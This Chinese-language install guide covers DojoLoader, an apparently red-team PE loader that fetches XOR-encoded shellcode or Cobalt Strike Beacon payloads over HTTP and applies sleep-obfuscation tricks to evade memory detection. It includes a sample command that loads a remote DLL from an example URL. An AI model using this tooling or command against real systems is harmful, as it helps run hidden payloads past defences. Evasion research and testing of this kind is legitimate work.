DojoLoader 项目安装与配置指南
2025-04-17 07:19:40作者:董斯意
1. 项目基础介绍
DojoLoader 是一个通用的 PE(Portable Executable)加载器,主要用于快速原型化和测试逃逸技术。该项目最初是为了减少使用 Cobalt Strike 的 UDRL(User-Defined Reflective Loader)调试时间而创建的,特别是针对没有 UDRL 的原始 Beacon 负载。DojoLoader 支持多种睡眠混淆技术,以规避调试和检测。
该项目主要使用的编程语言是 C。
2. 项目使用的关键技术和框架
- PE 加载器技术:负责从 HTTP 或文件加载并执行 XOR 编码的 shellcode。
- 动态 IAT(Import Address Table)钩子:用于动态地钩住 Sleep 函数,实现混淆。
- 睡眠混淆技术:实现了三种不同的睡眠混淆技术,包括 RW->RX、MemoryBouncing 和 MemoryHopping,这些技术旨在规避常见的 RX->RW 检测。
3. 项目安装和配置的准备工作与详细步骤
准备工作
在开始安装和配置 DojoLoader 之前,请确保您的系统满足以下要求:
- 操作系统:Windows
- 编译环境:支持 C 语言的编译器,如 Visual Studio
- 其他工具:Git(用于克隆项目)
安装步骤
-
克隆项目
打开命令行工具(如 PowerShell 或 CMD),然后输入以下命令来克隆项目:
git clone https://github.com/naksyn/DojoLoader.git这将在当前目录下创建一个名为
DojoLoader的文件夹,其中包含项目文件。 -
编译项目
打开 Visual Studio 或其他支持 C 语言的编译器,并加载
DojoLoader.sln解决方案文件。然后,编译整个项目。如果编译成功,将在项目目录下生成可执行文件。 -
配置和使用
- 从 URL 加载 PE 文件:使用
-d <url>参数指定 PE 文件的 URL。 - 从文件加载 PE 文件:使用
-f <file>参数指定 PE 文件的路径。 - 使用 XOR 密钥:如果 PE 文件被 XOR 编码,可以使用
-k <key>参数指定 XOR 密钥。 - 选择睡眠混淆技术:使用
-s <function>参数选择睡眠混淆技术,其中1或membounce代表 MemoryBouncing,2或memhop代表 Memory Hopping,3或RWRX代表经典的 RW->RX 技术。 - 使用 Cobalt Strike Beacon 负载:如果使用 Cobalt Strike Beacon 负载,请使用
-beacon参数。
例如,以下命令将从指定的 URL 加载 PE 文件,并使用 MemoryBouncing 睡眠混淆技术:
DojoLoader.exe -d http://example.com/path/to/pefile.dll -s 1 - 从 URL 加载 PE 文件:使用
按照以上步骤,您应该能够成功安装并配置 DojoLoader 项目,并开始使用它进行快速原型化和测试逃逸技术。
登录后查看全文
热门项目推荐
atomcodeClaude Code 的开源替代方案。连接任意大模型,编辑代码,运行命令,自动验证 — 全自动执行。用 Rust 构建,极致性能。 | An open-source alternative to Claude Code. Connect any LLM, edit code, run commands, and verify changes — autonomously. Built in Rust for speed. Get StartedRust0187
cann-learning-hubCANN 学习中心仓,支持在线互动运行、边学边练,提供教程、示例与优化方案,一站式助力昇腾开发者快速上手。Jupyter Notebook0112
Step-3.7-FlashStep-3.7-Flash是一个拥有 1980 亿参数的稀疏混合专家(MoE)视觉语言模型,由 1960 亿参数的语言主干网络和 18 亿参数的视觉编码器组合而成,具备原生图像理解能力。Python00
JoyAI-EchoJoyAI-Echo,这是一个独立的、仅用于推理的版本,旨在实现分钟级多镜头音视频生成。它采用了经过蒸馏的DMD生成器、配对的跨模态记忆以及故事级别的一致性。其性能的核心在于,一个跨模态视听记忆库能够在长达五分钟的视频中保持角色外观和语音音色的一致性。同时,一个训练后处理流程将基于记忆的强化学习与分布匹配蒸馏相结合,实现了7.5倍的速度提升,显著增强了视觉质量和对齐效果。00
omega-aiOmega-AI:基于java打造的深度学习框架,帮助你快速搭建神经网络,实现模型推理与训练,引擎支持自动求导,多线程与GPU运算,GPU支持CUDA,CUDNN。Java03
llm-universe本项目是一个面向小白开发者的大模型应用开发教程,在线阅读地址:https://datawhalechina.github.io/llm-universe/Jupyter Notebook08
热门内容推荐
最新内容推荐
项目优选
收起
deepin linux kernel
C
32
16
暂无描述
Dockerfile
759
4.94 K
Claude Code 的开源替代方案。连接任意大模型,编辑代码,运行命令,自动验证 — 全自动执行。用 Rust 构建,极致性能。 | An open-source alternative to Claude Code. Connect any LLM, edit code, run commands, and verify changes — autonomously. Built in Rust for speed.
Get Started
Rust
1.78 K
187
暂无简介
Dart
1 K
259
Ascend Extension for PyTorch
Python
716
866
本项目是CANN提供的transformer类大模型算子库,实现网络在NPU上加速计算。
C++
854
1.91 K
本项目是CANN提供的数学类基础计算算子库,实现网络在NPU上加速计算。
C++
1.07 K
1.09 K
🎉 (RuoYi)官方仓库 基于SpringBoot,Spring Security,JWT,Vue3 & Vite、Element Plus 的前后端分离权限管理系统
Vue
1.72 K
1.02 K
本项目是CANN提供的神经网络类计算算子库,实现网络在NPU上加速计算。
C++
674
1.32 K
openEuler内核是openEuler操作系统的核心,既是系统性能与稳定性的基石,也是连接处理器、设备与服务的桥梁。
C
454
436